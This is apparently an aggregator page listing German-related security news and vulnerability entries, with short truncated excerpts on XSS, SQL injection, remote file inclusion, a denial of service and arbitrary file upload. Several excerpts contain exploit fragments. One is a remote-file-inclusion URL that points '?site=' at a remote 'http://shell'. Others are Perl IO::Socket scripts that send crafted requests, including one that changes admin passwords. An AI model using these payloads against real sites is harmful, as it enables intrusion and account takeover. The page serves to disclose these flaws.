Germany to Fight Botnets with ISPs

In the first half of next year the German government plans to set up an advisory center which will help users purge their computers of viruses and bots. Read the full article. The H Security...

Novell eDirectory 8.8 SP5 Denial of Service

No description provided by source. Product: Novell eDirectory 8.8 sp5 for Windows Vulnerability: Denial of Service Discussion: Vulnerability in '/dhost/modules?I:' Sending long strings to '/dhost/modules?I:' causes a DoS crashing dhost.exe Also in last weeks published another bug in 'modules?L:' ...

Unfixed XSS vulnerability at www.ferrari-germany.de

Security researcher Overhead, has submitted on 25/04/2009 a cross-site-scripting XSS vulnerability affecting www.ferrari-germany.de, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/12/2011. It is...

social-sql.txt

HACKATTACK Advisory 2008-11-20Social Engine 2.7 CRLF Injection + SQL injection Details Product: Social Engine Security-Risk: moderate Remote-Exploit: yes Vendor-URL: http://www.socialengine.net/ Vendor-Status: informed Advisory-Status: published Credits Discovered by: David Vieira-Kurz of...

integramod-database.txt

today i found some major security problem. the issue can be found at all integramod 1.4.x versions. explanation of the issue: all integramod versions do have a backup folder where the daily database backups are stored. the coders of integramod forgott to secure this folder. example: just head to...

ScorpNews 1.0 (example.php site) Remote File Inclusion Vulnerability

No description provided by source. /news/example.php = Remote File Inclusion Found By: Silver - x.56@hotmaild0tde Website: www.silver-crystal-war.6x.to Version: S C O R P N E W S Version 2 Location: Germany file ; example.php ? include $site.'.php';? example Exploit ;...

scorpnews-rfi.txt

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...

ScorpNews 1.0 (example.php site) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ==================================================================== ScorpNews 1.0 example.php site Remote File Inclusion Vulnerability ==================================================================== /news/example.php example Exploit ...

ScorpNews 1.0 - site Remote File Inclusion

ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

ScorpNews 1.0 - 'site' Remote File Inclusion

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

SquirrelMail GPGP Encryption Plugin 2.0 - Command Execution

SquirrelMail GPGP Encryption Plugin 2.0 - Command Execution SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability Bugtraq ID: 24782 ----------------------------- There are various vulnerabilities in this software! One is in keyringmain.php! $fpr is not escaped from...

Unfixed XSS vulnerability at www.insitor.de

Security researcher Uber0n, has submitted on 06/12/2007 a cross-site-scripting XSS vulnerability affecting www.insitor.de, which at the time of submission ranked 771697 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/12/2007. It is currently...

sparkassen-xss.txt

The "Sparkassen-Finanzgruppe" with a transaction volume of over 3.300 billion euro is one of the largest banks for private customers in germany. Many local member-banks of the group use the online banking portal provided by sfze http://www.sfze.de/, a subsidiary company of Sparkassen-Finanzgruppe...

Virginity Security Advisory 2007-001 : T-Com Speedport 500V Login bypass

-------------------------------------------------------------------- Virginity Security Advisory 2007-001 - - - -------------------------------------------------------------------- DATE : 2007-01-19 15:32 GMT TYPE : remote VERSIONS AFFECTED : T-Com Speedport 500V Firmware 1.31 AUTHOR :...

Unfixed XSS vulnerability at www.germany-irc.eu

Security researcher iD - uNkn0wn.eu, has submitted on 01/10/2007 a cross-site-scripting XSS vulnerability affecting www.germany-irc.eu, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/10/2007. It is...

inetmedia.txt

Description: ============ Multiple XSS and SQL injection vulnerabilities were found in Inetmedia's web services cityinfo.pl and cityaz.de, which my be exploited by attackers to gain confidential information and/or modify datebase. These flaws are due to PHP programming mistakes in:...

DZCP (deV!L_z Clanportal) 1.3.6 - Arbitrary File Upload

S Y N O P S I S / =================' - access: remote severity: high - deV!Lz Clanportal allows nearly arbitrary files to be uploaded and stored on the server's filesystem, which enables anyone, even without a user account, to upload PHP code and execute it, leading to arbitrary code execution. B...

iPrimal Forums - '/admin/index.php' Change User Password

!perl http://ipigroup.org/downloads/forums.zip Bl0od3r Germany shoutzz to all members of dC3 crew ,matrixkiller,eddie14 special to str0ke use IO::Socket; if @ARGVnewProto="tcp",PeerAddr="$host",PeerPort="80" or die "Error"; print $sock "POST ".$path."admin/index.php?p=members&edit=".$user."...

Webdrivers Simple Forum - 'message_details.php' SQL Injection

!perl use IO::Socket; Download:http://www.thewebdrivers.com/forum.zip By:Bl0od3r Germany = if @ARGVnewProto="tcp",PeerAddr="$host",PeerPort=80 or die "-Error\n"; print "Connecting!\n"; print "Getting Data!\n"; print $socket "GET...

Webdrivers Simple Forum - message_details.php SQL Injection

Webdrivers Simple Forum - messagedetails.php SQL Injection !perl use IO::Socket; Download:http://www.thewebdrivers.com/forum.zip By:Bl0od3r Germany = if @ARGVnewProto="tcp",PeerAddr="$host",PeerPort=80 or die "-Error\n"; print "Connecting!\n"; print "Getting Data!\n"; print $socket "GET...